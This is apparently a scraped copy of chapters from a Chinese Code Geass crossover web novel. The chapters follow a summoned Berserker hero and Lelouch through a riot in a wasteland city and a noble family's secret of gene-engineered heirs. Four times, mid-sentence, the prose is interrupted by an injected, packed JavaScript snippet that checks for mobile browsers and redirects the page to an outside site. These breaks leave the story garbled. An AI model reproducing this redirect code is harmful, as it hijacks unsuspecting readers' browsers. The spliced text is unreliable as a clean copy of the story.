“伊桑这孩子就是有些钻牛角尖，他甚至认为黑色骑士团的首领ZERO真正效忠的对象是被他亲手杀死的第九十九任皇帝。” “新奇的观点，我能问问您是怎么得出这个结论的吗？” …… 七羽完全提不起兴趣去逐字逐句的分析。 他也不是这个领域的特攻。 只有在伊桑暗示神圣不列颠帝国掌握了某种常人所无法想象的超凡力量，而第九十九任皇帝鲁路修·V·布里塔尼亚正是神圣不列颠帝国皇室为了承载这种“神之力”所创造的人间之神时，七羽才在取餐的间隙给了他一个眼神。 这是演都不打算演了？ 七羽咽下口中的煎鱼，开口说了饭桌上的第一句，也是唯一一句话。 “原来伊桑先生你是为了得到第九十九任皇帝的基因去基因飞升，才试图说服自己嫁进菲丽家的吗？” 七羽一句话掀了在场除了鲁路修之外所有人的老底。 场面顿时尴尬起来，连沉稳如斯卡利都向七羽投来了诧异的目光。 他们并不知道七羽的信息都来源于鲁路修，这使得七羽的身份目的在他们眼中一下子变得扑朔迷离起来。 伊桑的注意力也首次从鲁路修身上转移，眯起眼细细打量七羽，尝试把七羽与存在于自己记忆中的那些布里塔尼亚对上号。 可惜他注定要失望了，七羽和这个世界可谓没有半点关系。 把自己做成焦点的七羽泰然自若的吃完餐盘中的食物，放好刀叉，把空了的瓷盘往前一推：“感谢招待。” 最先收敛好表情的是斯卡利，他就像没听到七羽抖落出来的自家秘密一样，吩咐一旁垂眼静候的管家给七羽安排客房。 一同离席的鲁路修走到餐厅门口时放缓步子，半侧过头给面无表情的伊桑留下最后的劝诫。 “伊桑先生，您为什么不重新研究一下鲁路修·V·布里塔尼亚的历史呢？说不定这一次你会有不同的见解。” 高强度劳累了一天的七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559872|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羽总算是能享受一下个人时间了，他美美泡了个热水澡，爬上松软的床舒服的打了个滚。 嗯……果然他还是喜欢宅在家里摆烂，而不是到处当拯救世界的救火队员。 七羽放空大脑，抱着枕头趴在床上，等待困意来袭。 结果他等来的不是困意，而是外城爆发的动乱。 ……救命，我的理性已经这么低了吗？Berserker的职阶模板已经被强化到这种程度了？ 外城距离这里可有百十公里的距离啊！ 这么远的距离，边防军军.车开道，不用等红绿灯都得开个半个多小时，他居然能捕捉到外城的动静？ 果然阿赖耶出品的系统任务秉承了一贯的路灯资本家属性，不会让任何签了契约的打工人/英灵/魔法少女有任何白嫖退休金的可能。 七羽不知道外城发生暴动的原因，但他能感觉到从中传来的巨大“绝望”。 这种“绝望”持续刺激着七羽的神经，他躺在床上翻来覆去，把自己埋进枕头，感觉不够，又用被子把自己整个蒙住。 三分钟后，七羽顶着一头蹭的乱糟糟的长发掀被而起。 Berserker的神经这么敏·感的吗？！ 以前他怎么没发觉自己对情绪的感知那么敏锐啊！ 被脑袋里的刺痛折磨到睡不着觉的七羽愤愤起床，套好衣服冲出了房间。 路过隔壁鲁路修的房间时，七羽带着怒气的脚步一停，转而回退几步，站到了鲁路修的门口。 七羽想了想，敲响了隔壁的房门。 没两秒钟，房门开了。 看着鲁路修齐整的衣着，七羽好奇：“L.L.你是怎么猜到今晚会出事的？” 鲁路修让七羽进去，示意从窗户走，“我以为他已经表现得不能再明显了。” 鲁路修没指名道姓，但七羽听得出来他说的是谁。 “我最开始的确以为伊桑是冲着你来的。” 伊桑看鲁路修的目光太过热切。 那是一种将对方当作自己的信仰与救赎的目光，充斥着自己全部的情感与爱意。 但令人作呕的点在于，原本应该带给人温暖的“爱”被扭曲了。 菲丽的这个前爱人肯定和吉尔·德·雷很有共同语言。 吉尔在被贞德救下后，就成了贞德的扭曲毒唯。 至于伊桑为什么会跨越百年成为鲁路修的毒唯…… 学历史容易理性全失果然是世间真理。 七羽暗自吐槽完又接着说：“可听他在餐桌上说得那些话，他好像是想成为你？” 可能这也是厨到了极致的表现？ “不，他不是想成为我。”鲁路修又一次趴在七羽的背上被他带着赶路，微凉的夜风吹乱了他的一头黑发，凌乱的刘海挡住了那双紫色的眼睛，“我当年……” 他刚开了个头就顿住了。 “我当年只是为了娜娜莉罢了。”别扭的魔王从来都不承认自己对世界也曾抱有期待，“我为了给娜娜莉一个温柔的世界才选择了这条道路。” 鲁路修给自己算得上拯救世界的行为找着借口。 “但是他不一样。” “我是为了改变这个世界才和C.C.签订契约，得到了王的力量。” “而他是为了得到王的力量，才要改变这个世界。” 他和我不一样。 鲁路修盯着七羽的侧脸出神。 你和我才是一样的。 7. Code Geass 第十一区的外城位于第十一区城墙外围还要再往外三公里的地方。 其实严格意义上来讲，第十一区最开始是没有外城这一说的。 第十一区的前身得追溯到废土纪元之前了，那时候神圣不列颠帝国的版图几乎囊括世界，只有零星几个从最开始就签署了同盟协议的国家还保有独立政权，神圣不列颠帝国的最后一任皇帝娜娜莉女皇承认了他们政权的正统性。 几乎所有人都以为这是女皇的仁慈，只有少数当年支持过黑色骑士团，以及女皇身边亲近的人才知道，这是娜娜莉怀念哥哥的一种方式。 也是出于同样的原因，在帝国的情况稳定后，娜娜莉大力发展民生，废除当初父亲所制定的殖民条约，致力于消除不断延续的憎恨，并在大臣递上来的整改方案里，一笔把原本划定的经济中心改成了和哥哥一同度过整个年少时期的第十一区。 而成为世界经济中心的第十一区哪怕在后来的大破灭战争中没逃过被战火席卷的命运，也是瘦死的骆驼比马大。于是等帝国解体，文明倒退，辐射改变了整个星球的生态系统后，失去一切的人类在曾经作为经济中心的第十一区旧址上，建立了现在身为幸存者聚集地的第十一区。 科技断代，历史也演变成了口口相传的传说，那些从小就听着帝国繁荣纪元故事长大的废土客们但凡有点本事，都会跋山涉水的来到第十一区。 可第十一区显然不可能容纳所有废土客，于是一路颠沛流离的废土客们用拾荒捡来的垃圾一点一点的堆起了整个外城。 聚集在这里的，都是有且只有梦想的遗民，而梦想这个东西是最容易滋生的，也是最容易失去的。 所以现在展现在七羽面前的，就是外城真正的样子。 混乱与□□是这里的主基调，住在这里的幸存者最终只有三个结局——加入帮派、成为雇佣兵、成为货物。 不是说外城全都是穷凶极恶的亡命徒，只是空有慈悲心肠的好人在这里是生存不下去的。 由这三种成分拼凑成的外城每天都会爆发流血事件，不仅住在外城的幸存者习惯了，第十一区内部的居民们也习惯了，要是哪天外城成了文明守序的末世净土，那才叫奇怪。 所以在这次的动乱暴发之初，第十一区的边防军根本没当回事儿。 正常来讲，边防军是不管外城这一摊烂摊子的，外城虽然混乱，但也存在着某种秩序。 三个大型帮派分别掌管了外城绝大部分地盘，这种小型动乱他们自己内部就会解决。 毕竟自己的场子里有人闹事，不管的话会显得自家帮派“很好说话”。那下次等着他们的就不会是小打小闹，而是真刀真枪的抢地盘了。 可诡异的是，原本规模不大的动乱在帮派人员加入后反而规模升级，等边防军发现情况不对的时候，篓子已经捅大了。 “他们这是……在自相残杀？” 七羽带着鲁路修藏在一处堆满了杂物的房顶，这间房子的主人有着作为废土客通病的囤积癖，各种各样的垃圾堆得小山一样，那明显是捡回来的置物架被压得摇摇欲坠，感觉随时都有可能整个塌掉。 同样末世出身的七羽没有鲁路修的洁癖，他扒着没清干净倒刺的自制围栏往前方张望，偶尔偏头躲避飞射来的流弹，在菲丽家清洗干净的长发随着他的动作蹭到隔壁的杂物堆，又沾上了不少灰尘。 “不。”同样不怕死但怕痛的鲁路修只探出了半张脸，就着燃烧的火光看清远处情况的鲁路修皱起了眉，“他们疯了。” “他们的确是疯了，再这么下去边防军要出动重武器了吧？” 七羽亲眼看着那些幸存者们白刀子进红刀子出，哪怕身上开了个碗口大的口子还精气十足的继续挥刀砍人。 外城没什么高度足够的地标性建筑，他们的位置所能看到的只是这场暴动中一处微不足道的巷斗，参与者仅有十几个人。可就是这十几个人，竟然砍出来了一种万夫当关的气魄，归根结底还是因为他们悍不畏死的气势。 这形容放在外城的亡命徒身上是有些奇怪，但这就是事实。 至于七羽所感受到的“绝望”…… 强忍着脑袋里针扎一样的刺痛，七羽揉了揉太阳穴，不理解的小声嘟囔：“搞什么，为什么每个人都是啊？” 脑子里有什么玩意在“滴滴滴”的响，七羽甚至幻听到有人在脑子里和自己说话，只是断断续续的根本听不清，听多了反而更觉头疼。 理性的流失让他的视觉也产生了不可逆的变化。 从七羽的视角看过去，那些正在火拼的幸存者有一个算一个，都变成了一团漆黑的不明物，“绝望”源源不断的从这些不明物身上散发出来，他们全部都是“绝望”的传染源。 “我说的疯了是医学意义上的。”在各处接连不断的爆破声里，鲁路修没听清七羽后半句的轻声抱怨，他解释道，“这些人右臂上都带着同样的臂环，他们是同一个帮派的。” 所以他们是被帮派派来镇压动乱的行动队，只是现在原本应当并肩作战的他们对着自己的同伴举起了刀，还杀红了眼。 他所担心的事情还是发生了，并且是以最坏的方式。 “不能让边防军过来，他们的疯狂会传染。” 仅仅是外城沦陷，边防军还能使用无人机等科技设备尝试抢救一下，要是连边防军都沦陷了，整个第十一区就危险了。 “咱们去说不管用吧？”七羽看着小巷里接连倒地的十几个黑团，原本在他的视野里失去人形的帮派成员在死后又恢复了正常，“我们回去找斯卡利先生？” 七羽的耳朵动了动，他转头看向他们来时的方向，伴随着机械运转的摩擦声，内城和外城之间在宵禁后落下的大门打开了。 “来不及了。”七羽平静的回头看鲁路修，“那些‘绝望’的人还有救吗？” 鲁路修明白七羽的潜台词。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559873|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他望着不远处的十几具尸体，最终摇了摇头。 “这个世界其实是由两部分组成的。”事到如今鲁路修没有再继续隐瞒，适当的隐瞒和善意的谎言是为了维护人类岌岌可危的秩序，但现在为了让七羽意识到事情的严重性，他必须说清楚，他不能也不可以就这样看着七羽冲出去救人，“我们所存在的现实世界，以及心灵、记忆以及潜意识的集合体所组成的精神世界——C的世界。” 时间紧迫，鲁路修捡着最重要的部分说：“正常情况下C的世界和现实世界是在空间上相互独立的，除了我这种Code的携带者，普通人只有通过阿卡夏系统才能打开C世界的大门。但大破灭战争的时候，阿卡夏系统所在的神根岛被战争波及，有一半沉到了海底，门失控了。” 七羽立刻想到了这次副本的名称。 原来里面“界限解离”的界限指的是这个界限啊。 C世界所容纳的信息量是现实世界根本无法承受的。 而随着两个世界之间的界限越来越模糊，哪怕是看不到C世界的普通人也开始被C世界中的群体潜意识所影响。 他们被动的接收着人类积累至今的所有记忆与情感，潜意识的认知在悄无声息之间被潜移默化的更改，等这些变化发展为能够被他人所观测到的具体行为时，他们的精神也已经再无恢复的可能了。 他们永久的疯了。 更可怕的是，活着的他们会成为移动的污染源，在一无所知的状况下把这种精神绝症传染给自己所有的亲朋好友。等到他们死了，他们又将成为C世界新的居民，用自己枉死的绝望给现实世界燃烧得岌岌可危的理性添上一把新的薪柴。 “你放心，我是不会‘绝望’的。”七羽本能的给出回复，说出这话时他自己都短暂的怔忪了一瞬，但就像是有什么不可说的力量在纠正他的认知，七羽很快接受了这个设定，并从科学的角度做出了解释，“Berserker本来就是以理性为代价来强化战斗力的存在，失去理性并不会让我陷入‘绝望’，只会让我的思维固定，变得依靠本能行动，但这问题不大。” 七羽露出“优势在我”的笑容：“根据我的经验，陷入狂化后可以通过强制命令暂时控制，而我们刚好有这种手段。” 比如令咒。 比如鲁路修在变种人营地中展现出来的“言出法随”。 可谁知道鲁路修却还是拉住了他。 “我的GEASS只能对同一个人生效一次。” 被拦下的七羽想了想，以为鲁路修是担忧他方才所说的“暂时”这个限定词，便决定也透露一点自己的秘密：“没关系，一次就够了，不论我离开这里时是否处于狂化的状态，15日……14日后我都会恢复正常的。” “不。” 鲁路修仍旧没松手，他说的每一字七羽都能听懂，但连在一起后却无法理解。 “我已经对你使用过了。” 8. Code Geass 七羽的目光一寸一寸回转，最后定格在鲁路修的脸上。 这一瞬间，外城区由动乱引起的枪声、呼喊声、爆破声等等，都从鲁路修的观感中消失了，他的视线不由自主的被七羽的眼睛所吸引，失神的凝视着七羽在火光的映照下染上金黄色泽的天青色瞳孔。 早就被他彻底掌控的GEASS在这双眼睛的注视下躁动起来，几近失控的撺掇了主动权，于紫色的眼睛里震动翅膀，想要从中逃离。 “你已经对我使用过了？”七羽困惑的重复了一遍鲁路修所说的话，片刻后，他“哦”了一声，像是突然想明白了一般露出恍然大悟的表情，“是我刚进入这个世界的时候吧？” 那个时候的反应，并不全是为了适配Berserker的职阶模板，使得理性上限降低造成的啊。 我就说嘛，又不是第一次理性丧失了，上次狂化的时候也没觉得难受，怎么这次就反应这么大呢。 原本他还以为是理性丧失叠加□□传送，产生了一加一大于二的效果，结果居然是自己中了鲁路修口中名为GEASS的力量啊。 也是，这具身体又不是真正具有活着特性的生命体，只是单纯由魔力凝结而成的躯壳，怎么会晕传送？ “那个时间点啊……”七羽琢磨了一下，觉得这应该是系统的锅，肯定是传送进副本的时候没有做好伪装屏蔽工作，被鲁路修一眼就看出了端倪，鲁路修这才第一时间就对自己使用了GEASS，“当时在你看来，我是突然出现的？” 想到什么说什么的七羽一抬眼，才发现鲁路修的异状。 “啊，L.L.你眼睛怎么了？” 随着七羽话音落下，鲁路修出走的感官们才逐渐归位。 他仿佛刚经历了一场百公里越野跑，身上本干燥温暖的衣服现在由上到下全被冷汗浸透了，汗液在深色的布料上晕开层层叠叠的水渍，像绽开的水墨花朵，七羽问话的声音听上去也非常遥远，隔了层毛玻璃一样失真又微弱。 鲁路修大口大口喘着气，重新找回了对GEASS的控制权。 “对，你是突然凭空出现在我身边的。” 当时鲁路修惊讶极了，还以为七羽拥有罗罗那种小范围暂停他人的GEASS，但紧接着他发现车厢里的其他人对七羽的出现毫无反应，仿佛七羽本就应该坐在他身边，连车厢都因着七羽的出现往外魔法般的延长了一小节。 遇到这种事情，按照鲁路修一贯谨慎的性格，其实他是打算假装自己什么都没发现，后续慢慢从七羽口中套取信息的。 然而无奈的是…… “我的眼睛会在使用GEASS时出现代表C的符号，刚才之所以会出现是因为你令我的GEASS失控了。”鲁路修声音发虚，露出个不知真假的苦笑，“就跟你第一次出现在我眼前时一样。” GEASS又只能对同一个人生效一次，别管是不是因为失控被迫使用的，用都用了，当然得用得有点价值，不然不就白费了这每人限定一次的机会？ 从理智上，七羽能理解鲁路修的选择，可是从情感上…… 好吧，他们刚认识不到一天，哪来的感情？ 更别说鲁路修GEASS他的时候，他们仅仅只是打了个照面。 七羽有心想问问鲁路修GEASS了自己什么，但就他俩磨蹭这几句话的功夫，边防军已经彻底进入了外城区，最前面负责探路的行动小队也撞上了此时外城区里无处不在的疯狂污染源。 “这个之后再说。”七羽抄着鲁路修的腰把人往自己肩膀上一扛，“来不及去找斯卡利先生了，事急从权，特殊情况特殊处理，总之，我们先去GEASS了边防军的现场指挥。” “等等……！” 鲁路修柔软的腹部被七羽的肩胛骨顶着，跑动间几乎要把他的晚饭都给顶出来，鲁路修想开口给七羽科普边防军的构架，结果一开口就被灌了一嘴的风，想说的话也被风拍回了嗓子眼。 “别说话，小心咬到舌头。”七羽好心提醒，“放心吧，最坏的情况不外乎你GEASS了所有的边防军，反正你是他们的皇帝，被自家皇帝GEASS，想来他们不会介意的吧？” 打开思路的七羽在原方案的基础上又提出了加强版。 别说，这法子是简单粗暴了点，但仔细想想没准真能行得通。 这可能是目前成功率最高、影响最小的方案了。 方案中的关键人物鲁路修不想说话，他只想吐。 “咦？” 扛着鲁路修的七羽在路过一处暴动现场时停住了。 他驻足仔细看过去，终于确定那些身穿贴身特种制服的边防军小队成员不是人类。 “是仿生人部队。”鲁路修从七羽肩膀上下来，一手扶墙，一手揉着自己疼痛的腹部，“看来第十一区早有准备。” 也是，伊桑散播不正常言论时斯卡利也在场，以斯卡利的敏锐，会察觉出不对并提前安排好一切也很正常。 再怎么说斯卡利也有着那家伙的基因，区区这种小事…… 想到曾经压在自己头上，还在自己“死后”给娜娜莉造成困扰的某个金发皇子，鲁路修不爽的下压嘴角。 仿生人特种部队快捷高效的处理掉陷入“绝望”的传染源，又马不停蹄的赶往下一处地点。 七羽注视着他们消失在街口的转角，感慨道：“比我想象的能干啊。” 希望所有的世界都学着点，别大事小事都给救世主打电话。 七羽欣慰得再度捞过鲁路修。 鲁路修的视线又一次天旋地转：“……我们现在这是？” “回去睡觉啊。”扛着鲁路修扭头就走的七羽理所当然的回答，“活有人干了，干嘛还要主动加班？” “我还以为你会为了减少牺牲人数留下来帮忙。”又被扛麻袋的鲁路修怀疑七羽是故意的，“你就不能背着我吗？” “还是不了吧。”七羽打了个哈欠，避开了鲁路修后面的问题，“我狂化了会很麻烦，你们压根处理不了我。” 果然是故意的吧…… 鲁路修的视线里只剩下七羽在跑动间晃动的发梢。 这家伙嘴上不说，其实有在生气自己对他使用GEASS的事？ 折腾了这么一个来回，等他们回到菲丽家时都已经是后半夜了。 简朴的二层小楼只有大门旁的挂灯还亮着温暖的黄光，七羽带着鲁路修又从窗户翻进去，把鲁路修送回房间后轻手轻脚的退出来。 柔软的地毯吸收了脚步声，七羽悄无声息的回到自己房间。 虽然耳边仍旧充斥着从外城传来的各种声音，但令七羽感到恶心反胃的“绝望”却在迅速减少。心满意足的七羽洗漱干净，躺在床上翻了个身，用被子把自己裹紧后抱住被子，蜷缩着美美睡了过去。 他睡到日上三竿才起来。 起来洗漱后，七羽先去了鲁路修的房间，鲁路修的房门打开着，里面只有正在打扫的管家先生，鲁路修本人却不见踪影。 七羽没特意放轻脚步，正置换床单的管家闻声转过头，在向七羽问了早安后说道：“您找鲁路修先生的话，他今天一早就出去了。” “这样啊。”七羽看着管家把使用过的床单被罩丢进推车，“外面的戒严解除了吗？” “是的。”管家面不改色的把鲁路修那件脏兮兮的黑斗篷也丢进推车，“早餐已经准备好了，您如果也想出去转转，用完餐后可以随意，这是斯卡利大人留给您的卡。” 管家摘掉手套，用干净的手从西装口袋里取出一张磁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559874|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡递给七羽。 “斯卡利先生真体贴。”七羽收下磁卡，“斯卡利先生也出门了吗？” “是的，大人让我向您转达他的歉意，他原本打算为二位举办表示感谢的宴会，但介于第十一区近期局势的紧张，可能要推迟几天。” 七羽摆摆手，他只会在这个世界停留半个月，结识第十一区的贵族对他而言没有任何意义，他也不觉得贵族里会有自己的任务目标。 但鲁路修可能会需要这个机会，所以七羽也没拒绝。 他向管家先生道谢后独自前往餐厅。 菲丽家的这栋小楼区域划分的很简单，二层是卧室书房以及一个小花厅，通往一层的楼梯就在花厅的屏风后面，从楼梯下去是正对着后方花园的半开放型吧台。 当太阳落至地平线，金黄的夕阳就会从落地的玻璃窗洒满整个吧台。 七羽就是顺着这个楼梯走下来的。 「我不想离开，父亲。」 有说话声从玻璃门外的花园里传来，是菲丽和她的父亲。 「是因为我没听您的话接触了利拉德吗？」 七羽反应了一下，才意识到利拉德是伊桑的姓氏。 「我只是……我只是……您教导过我，不能把鸡蛋都放在一个篮子里，所以当利拉德出现的时候，我以为机会来了。」 嗯？这话是什么意思？ 原本准备快步离开的七羽迈步的动作慢了一秒。 有点好奇…… 但撞到菲丽和斯卡利先生的谈话是巧合，在巧合下听到几句只言片语还可以解释，可要站在这继续偷听就不礼貌了。 七羽按捺下自己的好奇心，打算按照原本的行程去餐厅用早餐。 但可能越不想发生什么就越容易发生什么，打算绕过吧台前往餐厅的七羽在吧台后方看见了斯卡利先生的侄子。 这小孩的心跳呼吸都相当微弱，不特意留意的话很容易被忽略过去，而吧台的高度是根据成年人的体型设计的，从七羽方才的角度是看不见被吧台挡住的对方的。 这就很尴尬了。 “喂，你不去用早饭吗？” “我不是有意的，我会去向斯卡利先生以及菲丽道歉的。” 小孩拖着腮帮子仰头看他：“道歉？道什么歉？” 也不知道他是的确没发现自己听到了斯卡利和菲丽之间的对话，还是在装傻，七羽一时间拿不准应该用怎样的态度来对待这个孩子。 他想了想，决定顺其自然：“我记得你，斯卡利先生说你是他的堂侄，你叫什么名字？” “米尼。”米尼打量了七羽一番，“你收拾干净之后好看多了。” “米尼，你吃早饭了吗？要不要一起去餐厅？” 「菲丽，我知道你是为了家族想要下注利拉德。」 救命，他真的不是故意偷听的，只是这个距离太近，他的听力又过于出众，于是菲丽和斯卡利先生之间的对话自顾自的往他的耳朵里塞。 “已经十点了。”米尼很不可爱的发出声嗤笑，“没用早餐的只有你。” 「可是我失败了……」 「那不是你的错，是家族的内部出了问题。」 “那我先……” “喂，你吃完早饭就赶紧走吧，赖在这对你没好处。” 「家族内部？」 「米尼的父母在你失踪的那天死于“绝望症”了。」 正要开溜的七羽视线下移，和米尼对视了两秒。 “你应该拿到钱了吧？那些钱够你挥霍一辈子了，趁着斯卡利叔叔不在，你和你朋友最好赶紧滚。” 「……那米尼他？」 “不然为了德里菲尔德，下一个就轮到你们了。” 「是的，是米尼做的。」 9. Code Geass 七羽盯着眼前的小孩，耳边还不断传来菲丽与斯卡利之间的对话。 他能听到菲丽有些发闷的惊呼声，大概那姑娘又下意识捂住了嘴，也能听到斯卡利先生说接下来第十一区会进行一场没有人能够控制的洗牌，这辆名为第十一区的车已经前行了太久，上边坐着的乘客太多，还有无数的人攀爬在车顶，妄想跟着他们一起到达终点站，哪怕驾驶员把油门踩到了底，也甩不掉这些负担。 所以在下一个即将到来的大型弯道，这辆超重的车必将失控翻下悬崖。 到时候里面能存活多少人，又有谁才是能存活下来的幸运儿，除了看自己有没有系紧安全带之外，只能看天意了。 如果不想去赌自己是否会被命运女神垂青，那就只剩下了一个选择—— 只要在入弯之前“减负”，后面的一切都不会发生。 米尼的父母、外城区的幸存者，这些都是被遗弃的负担。 怪不得就算边防军早有准备，他们的仿生人部队还是没第一时间到达现场。 冰冷残酷的对话还在继续，七羽目光虚虚落在米尼身上，好像是在看他，又好像只是单纯在出神。 米尼身上穿着一身得体的定制西装，儿童版本的西装上带着好看的花边和可爱的蝴蝶结领结，而现在，原本熨烫笔挺的小西装皱巴巴的，好像他的主人在穿上它后曾长时间的保持蜷缩的姿势静止不动，连那被打成完美蝴蝶结样式的领结都散开了，露出了小孩细白的脖子。 这个楼梯口是从二楼离开的必经之处，他只要下楼就必定会经过这里。 七羽蹲下身平视面前的男孩：“你是特意在这里等我，等了我一早上？” “搞清楚情况，外边来的乡巴佬，我要是想见你只要吩咐管家传唤你就是了，还用得着亲自来蹲点？”米尼倨傲的一扬脑袋，同时也错开了目光，“我是什么身份，你是什么身份，有点自知之明好不好？” “菲丽就不像你这么别扭。”七羽凉凉的戳破他，“那你有看到L.L.吗？就是和我一起来的另一个哥哥，你也和他说了这番话？” “他？”米尼瘦小的身体有短暂的紧绷，“你还是操心操心你自己吧。” 懂了，连小孩子都能看出来，比起L.L.，自己才更需要多点心眼。 七羽叹气：“你们德里菲尔德还真的……” 能人辈出啊。 不说沉稳敏锐的斯卡利先生，连他原本以为是傻白甜恋爱脑的菲丽实际上都是七窍玲珑的优秀政客，而米尼才这么小的年纪，都能精准的分析局势，对外人做出预警。 真是可怕的基因。 神圣不列颠帝国皇室的基因真得优秀到这种程度？ 那也怪不得会被人窥探。 “我才不是！”米尼显然对七羽的这句感喟产生了误解，他眉头紧紧皱起，眼睛瞪圆，还带着点奶音的嗓子压低到有点破声，“别把我和那群混蛋混为一谈！” 七羽原本对待第十一区的这些事只是类似于听八卦的态度，也就是能听到就听一嘴，听不到他也不打算主动去探究，可他现在是真得有点好奇了。 “你很讨厌斯卡利先生和菲丽？” 米尼板着脸强调：“是德里菲尔德，我讨厌所有的德里菲尔德。” “可是你不也是吗？” “都说了我不是！”米尼怒气冲冲，但短暂的情绪失控后，米尼又重新冷静下来，恢复成令人讨厌的小少爷样子。 “对他们德里菲尔德来说。”他往后花园的方向抬了下下巴，“我们的确切称谓应该是‘耗材’。” 旁支？堂弟？那不过是家族混迹贵族圈子蒙上的遮羞布罢了。 米尼看着七羽脸上惊讶的表情，不由得讽刺：“干嘛这个表情？听你昨天那话，你应该很清楚这个家族背后做得那些勾当吧？” 七羽一时间不知道应该说什么好。 他是知道德里菲尔德的历任家主都是神圣不列颠帝国皇族基因的人造人，但更具体的细节当时鲁路修没说，他也没有细想。 现在想来，这短短的一句唯结果论的话里包含的都是血淋淋的实验记录。家主的位置只有一个，但他们会以“一”为单位培育人造人吗？ 当然不会。 但凡是这种涉及到人类禁忌领域的实验，一次的成功都是建立在无数的失败之上的。 采用哪些基因片段才会让这段基因显性表达？哪段基因和哪段基因组合在一起才能形成稳定的基因链？这些结论都需要庞大的实验数据支撑。 看菲丽和斯卡利先生之间的差异就知道，这个家族的每一任家主都是全新的个体，他们一直在对基因进行优化筛选，以期待最终能创造出结束这个废土的“人间之神”。 既然实验避免不了失败，那那些诞生在失败实验中的人造人呢？ 七羽自认为见过世界足够多的阴暗面，但面对米尼眼中的嘲讽，他还是无话可说了。 沉默了一会儿后，想通了的七羽舒了口气，口吻轻松的询问道：“我说米尼，要是给你一个机会，你愿意离开这里吗？” 什么高情商高智商的优秀员工，就算没有又能怎么样？ 在英灵座打工那么多年，他就不信回了原世界反而养不活自己了，大不了把自己上交国家！ “哈？” 米尼以一种“你在开什么玩笑”的表情看向七羽。 “我的意思是，米尼你愿意跟我离开，成为我的员工吗？” “……吃完饭赶紧滚！” 米尼丢下这么一句话，气呼呼的跑走了，奔跑的过程中把地板踩得震天响，以表达他有被冒犯到。 后花园的谈话还在继续，但七羽已经没了继续听下去的兴致。 他撑着膝盖站起身，慢悠悠的往餐厅走。 「不需要，菲丽你不明白，我毕生所求的不是你所爱的这个家族能够永远荣耀。」 「离开这里，家族不再需要你了。」 前行的脚步微妙的停顿了一下，接着七羽就像并没有听到一样，离开了吧台。 该说不说，虽然斯卡利先生待他们不真诚，但他的管家是真的手艺不错。昨天的晚饭七羽就吃得很满足，今天的早餐更是治愈了他有些低落的心情。 用完早餐还添了一份甜品的七羽摸出管家转交给他的磁卡，想了想还是决定出去转转。 斯卡利和菲丽都没提到外城昨晚暴动的结局，他只知道最后边防军成功镇压了所有参与暴动的反叛人员，却不清楚具体情况，怎么说呢，他还是有点在意的。 打定主意的七羽把磁卡揣回兜里，没跟任何人打招呼，直接推门离开了菲丽家。 戒严解除了，但是第十一区的街道上也没有多少行人，一开始七羽还以为是因为菲丽家坐落在贵族区的原因，可等他离开这一片环境优美、充满绿化的贵族区，踏上平民区的街道后情况也没有好转。 装饰辉煌的酒店闭着门，两边的商铺只开了一部分，这一部分绝大多数售卖的都是一些生活必需品，比如食物或者药品。进进出出的客人倒是不少，每一个客人从店铺离开时手中的箱子都塞得满满当当，再加上那行色匆匆的步伐，说是打算囤好了东西立马跑路也不违和。 没有人闲下来与人交谈，甚至大部分居民都刻意避着人走，如果不小心碰到了别人，甚至有可能演变成冲突。 七羽就亲眼看见一个留着胡子的大叔因为抱得东西太多没站稳，一个踉跄碰到了一旁的鸭舌帽中年人，结果还不等大叔道歉，鸭舌帽就暴躁的掀翻了大叔怀里抱着的东西，抡起拳头就冲着大叔的下巴去了。 没有人劝架，也没有人拉架，所有人都冷漠的看着这一切发生。 要不是七羽一手刀打晕了鸭舌帽，到了中年的落魄大叔很可能不仅保不住自己的下巴，还保不住自己的鼻梁骨。 可哪怕被人救了，挨了一顿打的大叔也没有报复的念头，他低头跟七羽道了谢，抱起散落在地的东西，一瘸一拐的迅速逃离了现场。 “我发现七羽你不是在做好人好事，就是在做好人好事的路上。” 熟悉的声音带着调侃从背后传来，七羽把昏迷过去的鸭舌帽拖到一边，让他不至于在商店入口堵着，这才回身看过去。 一早就不见踪影的鲁路修正抱臂靠在路灯上，见七羽没回话也不在意，他指向街道的另一侧：“去那边坐坐吗？你昨天好像有话想问我，但却没来得及吧？” 七羽点头：“是这样，我还以为你跑了呢。” “怎么会？”鲁路修带着七羽往所指的方向走，这家店的店门是朝街口的另一个方向开的，从七羽之前所站的地方并不能看清招牌，现在跟着鲁路修过来，他才发现这好像是个类似于茶楼的地方。 鲁路修选了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 